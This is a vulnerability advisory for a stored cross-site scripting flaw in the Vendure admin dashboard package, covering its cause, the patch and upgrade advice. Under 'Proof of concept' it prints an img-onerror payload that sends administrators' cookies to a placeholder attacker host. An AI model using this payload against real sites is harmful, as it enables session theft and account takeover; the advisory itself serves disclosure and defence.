high · 8.7CVE-2026-63459Sep 17, 2026

CVE-2026-63459: @vendure/dashboard Stored XSS via innerHTML in Admin Dashboard

Rohit Hatagale
AI Security Researcher, SecureLayer7

A lower-privilege Vendure administrator can store a crafted product or collection description that runs arbitrary JavaScript in any other administrator's browser when they view the affected list…

Package@vendure/dashboard
Ecosystemnpm
Affected< 3.6.5
Fixed in3.6.5

The problem

The RichTextDescriptionCell component in @vendure/dashboard (before 3.6.5) tried to strip HTML from entity descriptions by writing the value into a live DOM element's innerHTML and reading back textContent. The problem is that innerHTML is itself the sink: browsers parse and load active markup (such as <img onerror=...>) at assignment time, before textContent is ever read.

Because description fields are editable by any administrator with the relevant write permission (including channel-scoped admins), a low-privilege admin can store a payload that fires in a superadmin's session the moment they open a Products, Collections, Promotions, Payment Methods, or Shipping Methods list view.

The result is cross-privilege session compromise.

Proof of concept

A working proof-of-concept for CVE-2026-63459 in @vendure/dashboard, with the exact payload below.

html
<img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))">

The root cause is CWE-79: the div.innerHTML = value assignment on a live (attached or detached) DOM element triggers resource loads and event handlers in Chromium and Firefox, even though no <script> tag is involved. Reading div.textContent afterwards is irrelevant: the onerror handler has already executed as a side effect of the parse.

The patch commit (d7aa42a) replaces the live-element pattern with new DOMParser().parseFromString(value, 'text/html').body.textContent. A DOMParser document is inert: it does not execute scripts, load resources, or fire event handlers, so the same payload is neutralized at parse time.

The fix was applied consistently across all five list views that use RichTextDescriptionCell for the description column.

The fix

Upgrade @vendure/dashboard (and the rest of the Vendure monorepo) to **3.6.5** or later. The patch commit is d7aa42a3f0cb524297a1a2fdf700e4aba9aca684. If you cannot upgrade immediately, sanitize description values with DOMPurify before storing or displaying them, and audit any other place in your codebase that assigns untrusted content to element.innerHTML.

Reporter not attributed.

References: [1][2][3][4]

Related research